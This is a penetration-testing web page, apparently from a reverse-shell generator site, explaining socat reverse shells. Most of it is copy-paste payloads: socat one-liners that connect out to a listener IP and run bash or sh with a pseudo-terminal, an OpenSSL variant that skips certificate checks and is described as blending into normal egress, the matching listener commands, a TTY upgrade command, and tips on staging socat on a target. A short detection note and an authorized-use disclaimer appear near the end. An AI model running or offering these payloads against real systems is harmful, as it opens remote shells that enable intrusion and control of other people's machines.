Socat Reverse Shell: A Fully Interactive TTY Without the stty Dance
How a socat reverse shell gives you a fully interactive PTY out of the box, plus the encrypted OPENSSL variant — when socat is available on the target.
Copy-paste one-liners
Open the generatorReady to run against an authorized target. Replace 10.10.14.3 and 443 with your listener IP and port, or use the per-payload link to pre-fill the generator.
Socat PTY
Linuxsocat exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.3:443Socat reverse shell that starts with a PTY-friendly process.
Listener: socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr
Socat exec
Linuxsocat exec:'/bin/sh -i',stderr tcp:10.10.14.3:443Simple socat reverse shell using exec without PTY options.
Listener: socat - TCP-LISTEN:443,reuseaddr,fork
Socat TCP4 EXEC
Linuxsocat TCP4:10.10.14.3:443 EXEC:/bin/sh,pty,stderr,setsid,sigint,saneSocat reverse shell using TCP4 connect syntax (requires socat on the target).
Listener: socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr
Socat OpenSSL
Linuxsocat exec:'/bin/sh -i',pty,stderr,setsid,sigint,sane openssl:10.10.14.3:443,verify=0Socat reverse shell over TLS with certificate checks disabled.
Listener: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj '/CN=reverseshell' && openssl s_server -quiet -key key.pem -cert cert.pem -port 443
Upgrade to a full TTY
python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")'Then background with Ctrl-Z, run stty raw -echo; fg, and see the full TTY upgrade guide.
Detection: these one-liners are loud — outbound TCP from an interpreter, a spawned shell with a socket on its stdio, and odd parent/child process chains. See detecting reverse shells in logs.
Related shells: NetcatBashTTY upgrade
Socat is what you use when you want the good shell immediately. Where a netcat or bash one-liner drops you into a raw, half-broken session that you then have to upgrade by hand, socat can allocate a pseudo-terminal on both ends and hand you a fully interactive shell — job control, Ctrl-C, vi, sudo prompts — from the first second. The catch: socat has to be present on the target, and it often is not.
The Fully Interactive Payload
On the target:
socat TCP:10.0.0.1:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
On your machine, the listener has to match by allocating a PTY too:
socat file:`tty`,raw,echo=0 TCP-LISTEN:443
What the options buy you:
ptyallocates a pseudo-terminal — the reason the shell is interactive.stderrroutes error output back over the channel.setsidruns the shell in a new session so it owns the terminal.sigintpassesCtrl-Cto the remote process instead of killing your shell.sanesets sensible terminal modes.
The listener's file:\tty`,raw,echo=0wires your own terminal in raw mode so keystrokes pass through untouched. This pairing is what removes thepython -c 'pty.spawn'+stty raw -echo` ritual described in upgrading a reverse shell — socat does it for you.
The Encrypted Variant (OPENSSL)
Socat speaks TLS, which both protects the session and helps it blend into normal egress. Generate a cert on your listener:
openssl req -newkey rsa:2048 -nodes -keyout s.key -x509 -days 90 -out s.crt
cat s.key s.crt > s.pem
Listener:
socat OPENSSL-LISTEN:443,cert=s.pem,verify=0 file:`tty`,raw,echo=0
Target:
socat OPENSSL:10.0.0.1:443,verify=0 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
verify=0 skips certificate validation — fine for a self-signed test cert. Both ends must agree on OPENSSL; a plaintext listener against a TLS payload is the classic "connected then died" symptom (see choosing a listener).
The Availability Problem
Socat is not installed by default on most systems. Two options when it is missing:
- Upload a static socat binary to a writable path and run it from there.
- Get a basic shell first with bash/netcat/python, then use that to stage socat (or just upgrade the shell you have).
If you cannot get socat onto the box, fall back to a bash or netcat one-liner and upgrade manually.
When It Won't Connect
- socat not on target — upload it or use another payload.
- OPENSSL mismatch — both ends must use TLS, or neither.
- Egress filtered — prefer
443/80.
Full triage: why reverse shells fail.
Generate It
The reverse shell generator emits the socat payload — plaintext or OPENSSL — with your LHOST/LPORT filled in and the matching file:\tty`` listener beside it, so the interactive shell is one copy-paste away when socat is available.
Authorized Testing Only
Use socat reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes it legitimate.